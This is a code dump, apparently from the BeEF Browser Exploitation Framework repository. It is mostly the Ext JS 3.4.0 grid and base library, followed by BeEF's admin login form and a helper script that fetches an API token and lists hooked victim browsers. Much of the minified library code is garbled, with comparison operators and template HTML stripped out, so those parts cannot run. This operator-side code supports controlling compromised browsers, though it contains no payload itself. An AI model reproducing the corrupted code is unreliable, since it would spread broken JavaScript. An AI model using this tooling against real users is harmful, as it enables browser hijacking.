    ' }, onEditorSelect:function (b, a) { if (a != b && !this.checkOnly) { this.selectRow(b) } }}); Ext.grid.CellSelectionModel = Ext.extend(Ext.grid.AbstractSelectionModel, {constructor:function (a) { Ext.apply(this, a); this.selection = null; this.addEvents("beforecellselect", "cellselect", "selectionchange"); Ext.grid.CellSelectionModel.superclass.constructor.call(this) }, initEvents:function () { this.grid.on("cellmousedown", this.handleMouseDown, this); this.grid.on(Ext.EventManager.getKeyEvent(), this.handleKeyDown, this); this.grid.getView().on({scope:this, refresh:this.onViewChange, rowupdated:this.onRowUpdated, beforerowremoved:this.clearSelections, beforerowsinserted:this.clearSelections}); if (this.grid.isEditor) { this.grid.on("beforeedit", this.beforeEdit, this) } }, beforeEdit:function (a) { this.select(a.row, a.column, false, true, a.record) }, onRowUpdated:function (a, b, c) { if (this.selection && this.selection.record == c) { a.onCellSelect(b, this.selection.cell[1]) } }, onViewChange:function () { this.clearSelections(true) }, getSelectedCell:function () { return this.selection ? this.selection.cell : null }, clearSelections:function (b) { var a = this.selection; if (a) { if (b !== true) { this.grid.view.onCellDeselect(a.cell[0], a.cell[1]) } this.selection = null; this.fireEvent("selectionchange", this, null) } }, hasSelection:function () { return this.selection ? true : false }, handleMouseDown:function (b, d, a, c) { if (c.button !== 0 || this.isLocked()) { return } this.select(d, a) }, select:function (g, c, b, e, d) { if (this.fireEvent("beforecellselect", this, g, c) !== false) { this.clearSelections(); d = d || this.grid.store.getAt(g); this.selection = {record:d, cell:[g, c]}; if (!b) { var a = this.grid.getView(); a.onCellSelect(g, c); if (e !== true) { a.focusCell(g, c) } } this.fireEvent("cellselect", this, g, c); this.fireEvent("selectionchange", this, this.selection) } }, isSelectable:function (c, b, a) { return !a.isHidden(b) }, onEditorKey:function (b, a) { if (a.getKey() == a.TAB) { this.handleKeyDown(a) } }, handleKeyDown:function (j) { if (!j.isNavKeyPress()) { return } var d = j.getKey(), i = this.grid, p = this.selection, b = this, m = function (g, c, e) { return i.walkCells(g, c, e, i.isEditor && i.editing ? b.acceptsNav : b.isSelectable, b) }, o, h, a, l, n; switch (d) { case j.ESC: case j.PAGE_UP: case j.PAGE_DOWN: break; default: j.stopEvent(); break } if (!p) { o = m(0, 0, 1); if (o) { this.select(o[0], o[1]) } return } o = p.cell; a = o[0]; l = o[1]; switch (d) { case j.TAB: if (j.shiftKey) { h = m(a, l - 1, -1) } else { h = m(a, l + 1, 1) } break; case j.DOWN: h = m(a + 1, l, 1); break; case j.UP: h = m(a - 1, l, -1); break; case j.RIGHT: h = m(a, l + 1, 1); break; case j.LEFT: h = m(a, l - 1, -1); break; case j.ENTER: if (i.isEditor && !i.editing) { i.startEditing(a, l); return } break } if (h) { a = h[0]; l = h[1]; this.select(a, l); if (i.isEditor && i.editing) { n = i.activeEditor; if (n && n.field.triggerBlur) { n.field.triggerBlur() } i.startEditing(a, l) } } }, acceptsNav:function (c, b, a) { return !a.isHidden(b) && a.isCellEditable(b, c) }}); Ext.grid.EditorGridPanel = Ext.extend(Ext.grid.GridPanel, {clicksToEdit:2, forceValidation:false, isEditor:true, detectEdit:false, autoEncode:false, trackMouseOver:false, initComponent:function () { Ext.grid.EditorGridPanel.superclass.initComponent.call(this); if (!this.selModel) { this.selModel = new Ext.grid.CellSelectionModel() } this.activeEditor = null; this.addEvents("beforeedit", "afteredit", "validateedit") }, initEvents:function () { Ext.grid.EditorGridPanel.superclass.initEvents.call(this); this.getGridEl().on("mousewheel", this.stopEditing.createDelegate(this, [true]), this); this.on("columnresize", this.stopEditing, this, [true]); if (this.clicksToEdit == 1) { this.on("cellclick", this.onCellDblClick, this) } else { var a = this.getView(); if (this.clicksToEdit == "auto" && a.mainBody) { a.mainBody.on("mousedown", this.onAutoEditClick, this) } this.on("celldblclick", this.onCellDblClick, this) } }, onResize:function () { Ext.grid.EditorGridPanel.superclass.onResize.apply(this, arguments); var a = this.activeEditor; if (this.editing && a) { a.realign(true) } }, onCellDblClick:function (b, c, a) { this.startEditing(c, a) }, onAutoEditClick:function (c, b) { if (c.button !== 0) { return } var g = this.view.findRowIndex(b), a = this.view.findCellIndex(b); if (g !== false && a !== false) { this.stopEditing(); if (this.selModel.getSelectedCell) { var d = this.selModel.getSelectedCell(); if (d && d[0] === g && d[1] === a) { this.startEditing(g, a) } } else { if (this.selModel.isSelected(g)) { this.startEditing(g, a) } } } }, onEditComplete:function (b, d, a) { this.editing = false; this.lastActiveEditor = this.activeEditor; this.activeEditor = null; var c = b.record, h = this.colModel.getDataIndex(b.col); d = this.postEditValue(d, a, c, h); if (this.forceValidation === true || String(d) !== String(a)) { var g = {grid:this, record:c, field:h, originalValue:a, value:d, row:b.row, column:b.col, cancel:false}; if (this.fireEvent("validateedit", g) !== false && !g.cancel && String(d) !== String(a)) { c.set(h, g.value); delete g.cancel; this.fireEvent("afteredit", g) } } this.view.focusCell(b.row, b.col) }, startEditing:function (i, c) { this.stopEditing(); if (this.colModel.isCellEditable(c, i)) { this.view.ensureVisible(i, c, true); var d = this.store.getAt(i), h = this.colModel.getDataIndex(c), g = {grid:this, record:d, field:h, value:d.data[h], row:i, column:c, cancel:false}; if (this.fireEvent("beforeedit", g) !== false && !g.cancel) { this.editing = true; var b = this.colModel.getCellEditor(c, i); if (!b) { return } if (!b.rendered) { b.parentEl = this.view.getEditorParent(b); b.on({scope:this, render:{fn:function (e) { e.field.focus(false, true) }, single:true, scope:this}, specialkey:function (k, j) { this.getSelectionModel().onEditorKey(k, j) }, complete:this.onEditComplete, canceledit:this.stopEditing.createDelegate(this, [true])}) } Ext.apply(b, {row:i, col:c, record:d}); this.lastEdit = {row:i, col:c}; this.activeEditor = b; b.selectSameEditor = (this.activeEditor == this.lastActiveEditor); var a = this.preEditValue(d, h); b.startEdit(this.view.getCell(i, c).firstChild, Ext.isDefined(a) ? a : ""); (function () { delete b.selectSameEditor }).defer(50) } } }, preEditValue:function (a, c) { var b = a.data[c]; return this.autoEncode && Ext.isString(b) ? Ext.util.Format.htmlDecode(b) : b }, postEditValue:function (c, a, b, d) { return this.autoEncode && Ext.isString(c) ? Ext.util.Format.htmlEncode(c) : c }, stopEditing:function (b) { if (this.editing) { var a = this.lastActiveEditor = this.activeEditor; if (a) { a[b === true ? "cancelEdit" : "completeEdit"](); this.view.focusCell(a.row, a.col) } this.activeEditor = null } this.editing = false }}); Ext.reg("editorgrid", Ext.grid.EditorGridPanel); Ext.grid.GridEditor = function (b, a) { Ext.grid.GridEditor.superclass.constructor.call(this, b, a); b.monitorTab = false }; Ext.extend(Ext.grid.GridEditor, Ext.Editor, {alignment:"tl-tl", autoSize:"width", hideEl:false, cls:"x-small-editor x-grid-editor", shim:false, shadow:false}); Ext.grid.PropertyRecord = Ext.data.Record.create([ {name:"name", type:"string"}, "value" ]); Ext.grid.PropertyStore = Ext.extend(Ext.util.Observable, {constructor:function (a, b) { this.grid = a; this.store = new Ext.data.Store({recordType:Ext.grid.PropertyRecord}); this.store.on("update", this.onUpdate, this); if (b) { this.setSource(b) } Ext.grid.PropertyStore.superclass.constructor.call(this) }, setSource:function (c) { this.source = c; this.store.removeAll(); var b = []; for (var a in c) { if (this.isEditableValue(c[a])) { b.push(new Ext.grid.PropertyRecord({name:a, value:c[a]}, a)) } } this.store.loadRecords({records:b}, {}, true) }, onUpdate:function (e, a, d) { if (d == Ext.data.Record.EDIT) { var b = a.data.value; var c = a.modified.value; if (this.grid.fireEvent("beforepropertychange", this.source, a.id, b, c) !== false) { this.source[a.id] = b; a.commit(); this.grid.fireEvent("propertychange", this.source, a.id, b, c) } else { a.reject() } } }, getProperty:function (a) { return this.store.getAt(a) }, isEditableValue:function (a) { return Ext.isPrimitive(a) || Ext.isDate(a) }, setValue:function (d, c, a) { var b = this.getRec(d); if (b) { b.set("value", c); this.source[d] = c } else { if (a) { this.source[d] = c; b = new Ext.grid.PropertyRecord({name:d, value:c}, d); this.store.add(b) } } }, remove:function (b) { var a = this.getRec(b); if (a) { this.store.remove(a); delete this.source[b] } }, getRec:function (a) { return this.store.getById(a) }, getSource:function () { return this.source }}); Ext.grid.PropertyColumnModel = Ext.extend(Ext.grid.ColumnModel, {nameText:"Name", valueText:"Value", dateFormat:"m/j/Y", trueText:"true", falseText:"false", constructor:function (c, b) { var d = Ext.grid, e = Ext.form; this.grid = c; d.PropertyColumnModel.superclass.constructor.call(this, [ {header:this.nameText, width:50, sortable:true, dataIndex:"name", id:"name", menuDisabled:true}, {header:this.valueText, width:50, resizable:false, dataIndex:"value", id:"value", menuDisabled:true} ]); this.store = b; var a = new e.Field({autoCreate:{tag:"select", children:[ {tag:"option", value:"true", html:this.trueText}, {tag:"option", value:"false", html:this.falseText} ]}, getValue:function () { return this.el.dom.value == "true" }}); this.editors = {date:new d.GridEditor(new e.DateField({selectOnFocus:true})), string:new d.GridEditor(new e.TextField({selectOnFocus:true})), number:new d.GridEditor(new e.NumberField({selectOnFocus:true, style:"text-align:left;"})), "boolean":new d.GridEditor(a, {autoSize:"both"})}; this.renderCellDelegate = this.renderCell.createDelegate(this); this.renderPropDelegate = this.renderProp.createDelegate(this) }, renderDate:function (a) { return a.dateFormat(this.dateFormat) }, renderBool:function (a) { return this[a ? "trueText" : "falseText"] }, isCellEditable:function (a, b) { return a == 1 }, getRenderer:function (a) { return a == 1 ? this.renderCellDelegate : this.renderPropDelegate }, renderProp:function (a) { return this.getPropertyName(a) }, renderCell:function (d, b, c) { var a = this.grid.customRenderers[c.get("name")]; if (a) { return a.apply(this, arguments) } var e = d; if (Ext.isDate(d)) { e = this.renderDate(d) } else { if (typeof d == "boolean") { e = this.renderBool(d) } } return Ext.util.Format.htmlEncode(e) }, getPropertyName:function (b) { var a = this.grid.propertyNames; return a && a[b] ? a[b] : b }, getCellEditor:function (a, e) { var b = this.store.getProperty(e), d = b.data.name, c = b.data.value; if (this.grid.customEditors[d]) { return this.grid.customEditors[d] } if (Ext.isDate(c)) { return this.editors.date } else { if (typeof c == "number") { return this.editors.number } else { if (typeof c == "boolean") { return this.editors["boolean"] } else { return this.editors.string } } } }, destroy:function () { Ext.grid.PropertyColumnModel.superclass.destroy.call(this); this.destroyEditors(this.editors); this.destroyEditors(this.grid.customEditors) }, destroyEditors:function (b) { for (var a in b) { Ext.destroy(b[a]) } }}); Ext.grid.PropertyGrid = Ext.extend(Ext.grid.EditorGridPanel, {enableColumnMove:false, stripeRows:false, trackMouseOver:false, clicksToEdit:1, enableHdMenu:false, viewConfig:{forceFit:true}, initComponent:function () { this.customRenderers = this.customRenderers || {}; this.customEditors = this.customEditors || {}; this.lastEditRow = null; var b = new Ext.grid.PropertyStore(this); this.propStore = b; var a = new Ext.grid.PropertyColumnModel(this, b); b.store.sort("name", "ASC"); this.addEvents("beforepropertychange", "propertychange"); this.cm = a; this.ds = b.store; Ext.grid.PropertyGrid.superclass.initComponent.call(this); this.mon(this.selModel, "beforecellselect", function (e, d, c) { if (c === 0) { this.startEditing.defer(200, this, [d, 1]); return false } }, this) }, onRender:function () { Ext.grid.PropertyGrid.superclass.onRender.apply(this, arguments); this.getGridEl().addClass("x-props-grid") }, afterRender:function () { Ext.grid.PropertyGrid.superclass.afterRender.apply(this, arguments); if (this.source) { this.setSource(this.source) } }, setSource:function (a) { this.propStore.setSource(a) }, getSource:function () { return this.propStore.getSource() }, setProperty:function (c, b, a) { this.propStore.setValue(c, b, a) }, removeProperty:function (a) { this.propStore.remove(a) }}); Ext.reg("propertygrid", Ext.grid.PropertyGrid); Ext.grid.GroupingView = Ext.extend(Ext.grid.GridView, {groupByText:"Group By This Field", showGroupsText:"Show in Groups", hideGroupedColumn:false, showGroupName:true, startCollapsed:false, enableGrouping:true, enableGroupingMenu:true, enableNoGroups:true, emptyGroupText:"(None)", ignoreAdd:false, groupTextTpl:"{text}", groupMode:"value", cancelEditOnToggle:true, initTemplates:function () { Ext.grid.GroupingView.superclass.initTemplates.call(this); this.state = {}; var a = this.grid.getSelectionModel(); a.on(a.selectRow ? "beforerowselect" : "beforecellselect", this.onBeforeRowSelect, this); if (!this.startGroup) { this.startGroup = new Ext.XTemplate('
    ', '
    ', this.groupTextTpl, "
    ", '
    ') } this.startGroup.compile(); if (!this.endGroup) { this.endGroup = "
    " } }, findGroup:function (a) { return Ext.fly(a).up(".x-grid-group", this.mainBody.dom) }, getGroups:function () { return this.hasRows() ? this.mainBody.dom.childNodes : [] }, onAdd:function (d, a, b) { if (this.canGroup() && !this.ignoreAdd) { var c = this.getScrollState(); this.fireEvent("beforerowsinserted", d, b, b + (a.length - 1)); this.refresh(); this.restoreScroll(c); this.fireEvent("rowsinserted", d, b, b + (a.length - 1)) } else { if (!this.canGroup()) { Ext.grid.GroupingView.superclass.onAdd.apply(this, arguments) } } }, onRemove:function (e, a, b, d) { Ext.grid.GroupingView.superclass.onRemove.apply(this, arguments); var c = document.getElementById(a._groupId); if (c && c.childNodes[1].childNodes.length < 1) { Ext.removeNode(c) } this.applyEmptyText() }, refreshRow:function (a) { if (this.ds.getCount() == 1) { this.refresh() } else { this.isUpdating = true; Ext.grid.GroupingView.superclass.refreshRow.apply(this, arguments); this.isUpdating = false } }, beforeMenuShow:function () { var c, a = this.hmenu.items, b = this.cm.config[this.hdCtxIndex].groupable === false; if ((c = a.get("groupBy"))) { c.setDisabled(b) } if ((c = a.get("showGroups"))) { c.setDisabled(b); c.setChecked(this.canGroup(), true) } }, renderUI:function () { var a = Ext.grid.GroupingView.superclass.renderUI.call(this); if (this.enableGroupingMenu && this.hmenu) { this.hmenu.add("-", {itemId:"groupBy", text:this.groupByText, handler:this.onGroupByClick, scope:this, iconCls:"x-group-by-icon"}); if (this.enableNoGroups) { this.hmenu.add({itemId:"showGroups", text:this.showGroupsText, checked:true, checkHandler:this.onShowGroupsClick, scope:this}) } this.hmenu.on("beforeshow", this.beforeMenuShow, this) } return a }, processEvent:function (b, i) { Ext.grid.GroupingView.superclass.processEvent.call(this, b, i); var h = i.getTarget(".x-grid-group-hd", this.mainBody); if (h) { var g = this.getGroupField(), d = this.getPrefix(g), a = h.id.substring(d.length), c = new RegExp("gp-" + Ext.escapeRe(g) + "--hd"); a = a.substr(0, a.length - 3); if (a || c.test(h.id)) { this.grid.fireEvent("group" + b, this.grid, g, a, i) } if (b == "mousedown" && i.button == 0) { this.toggleGroup(h.parentNode) } } }, onGroupByClick:function () { var a = this.grid; this.enableGrouping = true; a.store.groupBy(this.cm.getDataIndex(this.hdCtxIndex)); a.fireEvent("groupchange", a, a.store.getGroupState()); this.beforeMenuShow(); this.refresh() }, onShowGroupsClick:function (a, b) { this.enableGrouping = b; if (b) { this.onGroupByClick() } else { this.grid.store.clearGrouping(); this.grid.fireEvent("groupchange", this, null) } }, toggleRowIndex:function (c, a) { if (!this.canGroup()) { return } var b = this.getRow(c); if (b) { this.toggleGroup(this.findGroup(b), a) } }, toggleGroup:function (c, b) { var a = Ext.get(c), d = Ext.util.Format.htmlEncode(a.id); b = Ext.isDefined(b) ? b : a.hasClass("x-grid-group-collapsed"); if (this.state[d] !== b) { if (this.cancelEditOnToggle !== false) { this.grid.stopEditing(true) } this.state[d] = b; a[b ? "removeClass" : "addClass"]("x-grid-group-collapsed") } }, toggleAllGroups:function (c) { var b = this.getGroups(); for (var d = 0, a = b.length; d < a; d++) { this.toggleGroup(b[d], c) } }, expandAllGroups:function () { this.toggleAllGroups(true) }, collapseAllGroups:function () { this.toggleAllGroups(false) }, getGroup:function (a, e, i, j, b, h) { var c = this.cm.config[b], d = i ? i.call(c.scope, a, {}, e, j, b, h) : String(a); if (d === "" || d === " ") { d = c.emptyGroupText || this.emptyGroupText } return d }, getGroupField:function () { return this.grid.store.getGroupState() }, afterRender:function () { if (!this.ds || !this.cm) { return } Ext.grid.GroupingView.superclass.afterRender.call(this); if (this.grid.deferRowRender) { this.updateGroupWidths() } }, afterRenderUI:function () { Ext.grid.GroupingView.superclass.afterRenderUI.call(this); if (this.enableGroupingMenu && this.hmenu) { this.hmenu.add("-", {itemId:"groupBy", text:this.groupByText, handler:this.onGroupByClick, scope:this, iconCls:"x-group-by-icon"}); if (this.enableNoGroups) { this.hmenu.add({itemId:"showGroups", text:this.showGroupsText, checked:true, checkHandler:this.onShowGroupsClick, scope:this}) } this.hmenu.on("beforeshow", this.beforeMenuShow, this) } }, renderRows:function () { var a = this.getGroupField(); var e = !!a; if (this.hideGroupedColumn) { var b = this.cm.findColumnIndex(a), d = Ext.isDefined(this.lastGroupField); if (!e && d) { this.mainBody.update(""); this.cm.setHidden(this.cm.findColumnIndex(this.lastGroupField), false); delete this.lastGroupField } else { if (e && !d) { this.lastGroupField = a; this.cm.setHidden(b, true) } else { if (e && d && a !== this.lastGroupField) { this.mainBody.update(""); var c = this.cm.findColumnIndex(this.lastGroupField); this.cm.setHidden(c, false); this.lastGroupField = a; this.cm.setHidden(b, true) } } } } return Ext.grid.GroupingView.superclass.renderRows.apply(this, arguments) }, doRender:function (c, h, q, a, p, s) { if (h.length < 1) { return"" } if (!this.canGroup() || this.isUpdating) { return Ext.grid.GroupingView.superclass.doRender.apply(this, arguments) } var z = this.getGroupField(), o = this.cm.findColumnIndex(z), w, j = "width:" + this.getTotalWidth() + ";", e = this.cm.config[o], b = e.groupRenderer || e.renderer, t = this.showGroupName ? (e.groupName || e.header) + ": " : "", y = [], l, u, v, n; for (u = 0, v = h.length; u < v; u++) { var k = a + u, m = h[u], d = m.data[z]; w = this.getGroup(d, m, b, k, o, q); if (!l || l.group != w) { n = this.constructId(d, z, o); this.state[n] = !(Ext.isDefined(this.state[n]) ? !this.state[n] : this.startCollapsed); l = {group:w, gvalue:d, text:t + w, groupId:n, startRow:k, rs:[m], cls:this.state[n] ? "" : "x-grid-group-collapsed", style:j}; y.push(l) } else { l.rs.push(m) } m._groupId = n } var x = []; for (u = 0, v = y.length; u < v; u++) { w = y[u]; this.doGroupStart(x, w, c, q, p); x[x.length] = Ext.grid.GroupingView.superclass.doRender.call(this, c, w.rs, q, w.startRow, p, s); this.doGroupEnd(x, w, c, q, p) } return x.join("") }, getGroupId:function (a) { var b = this.getGroupField(); return this.constructId(a, b, this.cm.findColumnIndex(b)) }, constructId:function (c, e, a) { var b = this.cm.config[a], d = b.groupRenderer || b.renderer, g = (this.groupMode == "value") ? c : this.getGroup(c, {data:{}}, d, 0, a, this.ds); return this.getPrefix(e) + Ext.util.Format.htmlEncode(g) }, canGroup:function () { return this.enableGrouping && !!this.getGroupField() }, getPrefix:function (a) { return this.grid.getGridEl().id + "-gp-" + a + "-" }, doGroupStart:function (a, d, b, e, c) { a[a.length] = this.startGroup.apply(d) }, doGroupEnd:function (a, d, b, e, c) { a[a.length] = this.endGroup }, getRows:function () { if (!this.canGroup()) { return Ext.grid.GroupingView.superclass.getRows.call(this) } var k = [], c = this.getGroups(), h, e = 0, a = c.length, d, b; for (; e < a; ++e) { h = c[e].childNodes[1]; if (h) { h = h.childNodes; for (d = 0, b = h.length; d < b; ++d) { k[k.length] = h[d] } } } return k }, updateGroupWidths:function () { if (!this.canGroup() || !this.hasRows()) { return } var c = Math.max(this.cm.getTotalWidth(), this.el.dom.offsetWidth - this.getScrollOffset()) + "px"; var b = this.getGroups(); for (var d = 0, a = b.length; d < a; d++) { b[d].firstChild.style.width = c } }, onColumnWidthUpdated:function (c, a, b) { Ext.grid.GroupingView.superclass.onColumnWidthUpdated.call(this, c, a, b); this.updateGroupWidths() }, onAllColumnWidthsUpdated:function (a, b) { Ext.grid.GroupingView.superclass.onAllColumnWidthsUpdated.call(this, a, b); this.updateGroupWidths() }, onColumnHiddenUpdated:function (b, c, a) { Ext.grid.GroupingView.superclass.onColumnHiddenUpdated.call(this, b, c, a); this.updateGroupWidths() }, onLayout:function () { this.updateGroupWidths() }, onBeforeRowSelect:function (b, a) { this.toggleRowIndex(a, true) }}); Ext.grid.GroupingView.GROUP_ID = 1000; ================================================ FILE: extensions/admin_ui/media/javascript/ext-base.js ================================================ /* * Ext JS Library 3.4.0 * Copyright(c) 2006-2011 Sencha Inc. * licensing@sencha.com * http://www.sencha.com/license */ window.undefined=window.undefined;Ext={version:"3.4.0",versionDetail:{major:3,minor:4,patch:0}};Ext.apply=function(d,e,b){if(b){Ext.apply(d,b)}if(d&&e&&typeof e=="object"){for(var a in e){d[a]=e[a]}}return d};(function(){var g=0,u=Object.prototype.toString,v=navigator.userAgent.toLowerCase(),A=function(e){return e.test(v)},i=document,n=i.documentMode,l=i.compatMode=="CSS1Compat",C=A(/opera/),h=A(/\bchrome\b/),w=A(/webkit/),z=!h&&A(/safari/),f=z&&A(/applewebkit\/4/),b=z&&A(/version\/3/),D=z&&A(/version\/4/),t=!C&&A(/msie/),r=t&&(A(/msie 7/)||n==7),q=t&&(A(/msie 8/)&&n!=7),p=t&&A(/msie 9/),s=t&&!r&&!q&&!p,o=!w&&A(/gecko/),d=o&&A(/rv:1\.8/),a=o&&A(/rv:1\.9/),x=t&&!l,B=A(/windows|win32/),k=A(/macintosh|mac os x/),j=A(/adobeair/),m=A(/linux/),c=/^https/i.test(window.location.protocol);if(s){try{i.execCommand("BackgroundImageCache",false,true)}catch(y){}}Ext.apply(Ext,{SSL_SECURE_URL:c&&t?'javascript:""':"about:blank",isStrict:l,isSecure:c,isReady:false,enableForcedBoxModel:false,enableGarbageCollector:true,enableListenerCollection:false,enableNestedListenerRemoval:false,USE_NATIVE_JSON:false,applyIf:function(E,F){if(E){for(var e in F){if(!Ext.isDefined(E[e])){E[e]=F[e]}}}return E},id:function(e,E){e=Ext.getDom(e,true)||{};if(!e.id){e.id=(E||"ext-gen")+(++g)}return e.id},extend:function(){var E=function(G){for(var F in G){this[F]=G[F]}};var e=Object.prototype.constructor;return function(L,I,K){if(typeof I=="object"){K=I;I=L;L=K.constructor!=e?K.constructor:function(){I.apply(this,arguments)}}var H=function(){},J,G=I.prototype;H.prototype=G;J=L.prototype=new H();J.constructor=L;L.superclass=G;if(G.constructor==e){G.constructor=I}L.override=function(F){Ext.override(L,F)};J.superclass=J.supr=(function(){return G});J.override=E;Ext.override(L,K);L.extend=function(F){return Ext.extend(L,F)};return L}}(),override:function(e,F){if(F){var E=e.prototype;Ext.apply(E,F);if(Ext.isIE&&F.hasOwnProperty("toString")){E.toString=F.toString}}},namespace:function(){var G=arguments.length,H=0,E,F,e,J,I,K;for(;H0){return setTimeout(d,c)}d();return 0}});Ext.applyIf(String,{format:function(b){var a=Ext.toArray(arguments,1);return b.replace(/\{(\d+)\}/g,function(c,d){return a[d]})}});Ext.applyIf(Array.prototype,{indexOf:function(b,c){var a=this.length;c=c||0;c+=(c<0)?a:0;for(;c0){for(var p=0;p0);if(!A){A=true;for(I=0;I=0){B=s.substr(0,A).toLowerCase();if(s.charAt(A+1)==" "){++A}C[B]=s.substr(A+1)}})}catch(z){}return{tId:u.tId,status:v?204:w.status,statusText:v?"No Content":w.statusText,getResponseHeader:function(s){return C[s.toLowerCase()]},getAllResponseHeaders:function(){return x},responseText:w.responseText,responseXML:w.responseXML,argument:y}}function o(s){if(s.tId){k.conn[s.tId]=null}s.conn=null;s=null}function f(x,y,t,s){if(!y){o(x);return}var v,u;try{if(x.conn.status!==undefined&&x.conn.status!=0){v=x.conn.status}else{v=13030}}catch(w){v=13030}if((v>=200&&v<300)||(Ext.isIE&&v==1223)){u=p(x,y.argument);if(y.success){if(!y.scope){y.success(u)}else{y.success.apply(y.scope,[u])}}}else{switch(v){case 12002:case 12029:case 12030:case 12031:case 12152:case 13030:u=e(x.tId,y.argument,(t?t:false),s);if(y.failure){if(!y.scope){y.failure(u)}else{y.failure.apply(y.scope,[u])}}break;default:u=p(x,y.argument);if(y.failure){if(!y.scope){y.failure(u)}else{y.failure.apply(y.scope,[u])}}}}o(x);u=null}function m(u,x,s,w,t,v){if(s&&s.readyState==4){clearInterval(t[w]);t[w]=null;if(v){clearTimeout(k.timeout[w]);k.timeout[w]=null}f(u,x)}}function r(s,t){k.abort(s,t,true)}function n(u,x){x=x||{};var s=u.conn,w=u.tId,t=k.poll,v=x.timeout||null;if(v){k.conn[w]=s;k.timeout[w]=setTimeout(r.createCallback(u,x),v)}t[w]=setInterval(m.createCallback(u,x,s,w,t,v),k.pollInterval)}function i(w,t,v,s){var u=l()||null;if(u){u.conn.open(w,t,true);if(k.useDefaultXhrHeader){j("X-Requested-With",k.defaultXhrHeader)}if(s&&k.useDefaultHeader&&(!k.headers||!k.headers[d])){j(d,k.defaultPostHeader)}if(k.defaultHeaders||k.headers){h(u)}n(u,v);u.conn.send(s||null)}return u}function l(){var t;try{if(t=q(k.transactionId)){k.transactionId++}}catch(s){}finally{return t}}function q(v){var s;try{s=new XMLHttpRequest()}catch(u){for(var t=Ext.isIE6?1:0;t0&&isFinite(w)){if(r.curFrame+w>=v){w=v-(u+1)}r.curFrame+=w}}};g.Bezier=new function(){this.getPosition=function(p,o){var r=p.length,m=[],q=1-o,l,k;for(l=0;l0&&!Ext.isArray(s[0])){s=[s]}else{}Ext.fly(p,"_anim").position();A.setXY(p,j(x)?x:A.getXY(p));o=w.getAttr("points");if(j(y)){q=k.call(w,y,o);for(r=0,t=s.length;r0){n=n.concat(s)}n[n.length]=q}else{m.setRunAttr.call(this,u)}}});var k=function(n,p){var o=g.Dom.getXY(this.el);return[n[0]-o[0]+p[0],n[1]-o[1]+p[1]]}})()})();(function(){var d=Math.abs,i=Math.PI,h=Math.asin,g=Math.pow,e=Math.sin,f=Ext.lib;Ext.apply(f.Easing,{easeBoth:function(k,j,m,l){return((k/=l/2)<1)?m/2*k*k+j:-m/2*((--k)*(k-2)-1)+j},easeInStrong:function(k,j,m,l){return m*(k/=l)*k*k*k+j},easeOutStrong:function(k,j,m,l){return -m*((k=k/l-1)*k*k*k-1)+j},easeBothStrong:function(k,j,m,l){return((k/=l/2)<1)?m/2*k*k*k*k+j:-m/2*((k-=2)*k*k*k-2)+j},elasticIn:function(l,j,q,o,k,n){if(l==0||(l/=o)==1){return l==0?j:j+q}n=n||(o*0.3);var m;if(k>=d(q)){m=n/(2*i)*h(q/k)}else{k=q;m=n/4}return -(k*g(2,10*(l-=1))*e((l*o-m)*(2*i)/n))+j},elasticOut:function(l,j,q,o,k,n){if(l==0||(l/=o)==1){return l==0?j:j+q}n=n||(o*0.3);var m;if(k>=d(q)){m=n/(2*i)*h(q/k)}else{k=q;m=n/4}return k*g(2,-10*l)*e((l*o-m)*(2*i)/n)+q+j},elasticBoth:function(l,j,q,o,k,n){if(l==0||(l/=o/2)==2){return l==0?j:j+q}n=n||(o*(0.3*1.5));var m;if(k>=d(q)){m=n/(2*i)*h(q/k)}else{k=q;m=n/4}return l<1?-0.5*(k*g(2,10*(l-=1))*e((l*o-m)*(2*i)/n))+j:k*g(2,-10*(l-=1))*e((l*o-m)*(2*i)/n)*0.5+q+j},backIn:function(k,j,n,m,l){l=l||1.70158;return n*(k/=m)*k*((l+1)*k-l)+j},backOut:function(k,j,n,m,l){if(!l){l=1.70158}return n*((k=k/m-1)*k*((l+1)*k+l)+1)+j},backBoth:function(k,j,n,m,l){l=l||1.70158;return((k/=m/2)<1)?n/2*(k*k*(((l*=(1.525))+1)*k-l))+j:n/2*((k-=2)*k*(((l*=(1.525))+1)*k+l)+2)+j},bounceIn:function(k,j,m,l){return m-f.Easing.bounceOut(l-k,0,m,l)+j},bounceOut:function(k,j,m,l){if((k/=l)<(1/2.75)){return m*(7.5625*k*k)+j}else{if(k<(2/2.75)){return m*(7.5625*(k-=(1.5/2.75))*k+0.75)+j}else{if(k<(2.5/2.75)){return m*(7.5625*(k-=(2.25/2.75))*k+0.9375)+j}}}return m*(7.5625*(k-=(2.625/2.75))*k+0.984375)+j},bounceBoth:function(k,j,m,l){return(kERROR: invalid username or password'}); } login_mask.hide(); } }); } var login_form = new Ext.form.FormPanel({ url: 'authentication/login', formId: 'login_form', labelWidth: 125, frame: true, title: 'Authentication', bodyStyle:'padding:5px 5px 0', width: 350, defaults: { width: 175, inputType: 'password' }, defaultType: 'textfield', items: [{ fieldLabel: 'Username', name: 'username-cfrm', inputType: 'textfield', id: 'user', listeners: { specialkey: function(field,e) { if (e.getKey() == e.ENTER) { submitAuthForm(); } } } },{ fieldLabel: 'Password', name: 'password-cfrm', inputType: 'password', id: 'pass', listeners: { specialkey: function(field,e) { if (e.getKey() == e.ENTER) { submitAuthForm(); } } } }], buttons: [{ text: 'Login', id: 'loginButton', handler: function() { submitAuthForm(); } }] }); var login_mask = new Ext.LoadMask(Ext.getBody(), {msg:"Authenticating to BeEF..."}); login_form.render('centered'); Ext.DomHelper.append('login_form', {tag: 'div', id: 'loadingError'}); document.getElementById('user').focus(); }); ================================================ FILE: extensions/admin_ui/media/javascript/ui/common/beef_common.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /*! * BeEF Web UI commons */ if(typeof beefwui === 'undefined' && typeof window.beefwui === 'undefined') { var BeefWUI = { rest_token: "", hooked_browsers: {}, /** * Retrieve the token needed to call the RESTful API. * This is obviously a post-auth call. */ get_rest_token: function() { if(this.rest_token.length == 0){ var url = "<%= @base_path %>/modules/getRestfulApiToken.json"; jQuery.ajax({ contentType: 'application/json', dataType: 'json', type: 'GET', url: url, async: false, processData: false, success: function(data){ beefwui.rest_token = data.token; }, error: function(){ beefwui.rest_token = ""; } }); } return this.rest_token; }, /** * Get hooked browser ID from session */ get_hb_id: function(sess){ var id = ""; jQuery.ajax({ type: 'GET', url: "/api/hooks/?token=" + this.get_rest_token(), async: false, processData: false, success: function(data){ for (var k in data['hooked-browsers']['online']) { if (data['hooked-browsers']['online'][k].session === sess) { id = data['hooked-browsers']['online'][k].id; } } if (id === "") { for (var k in 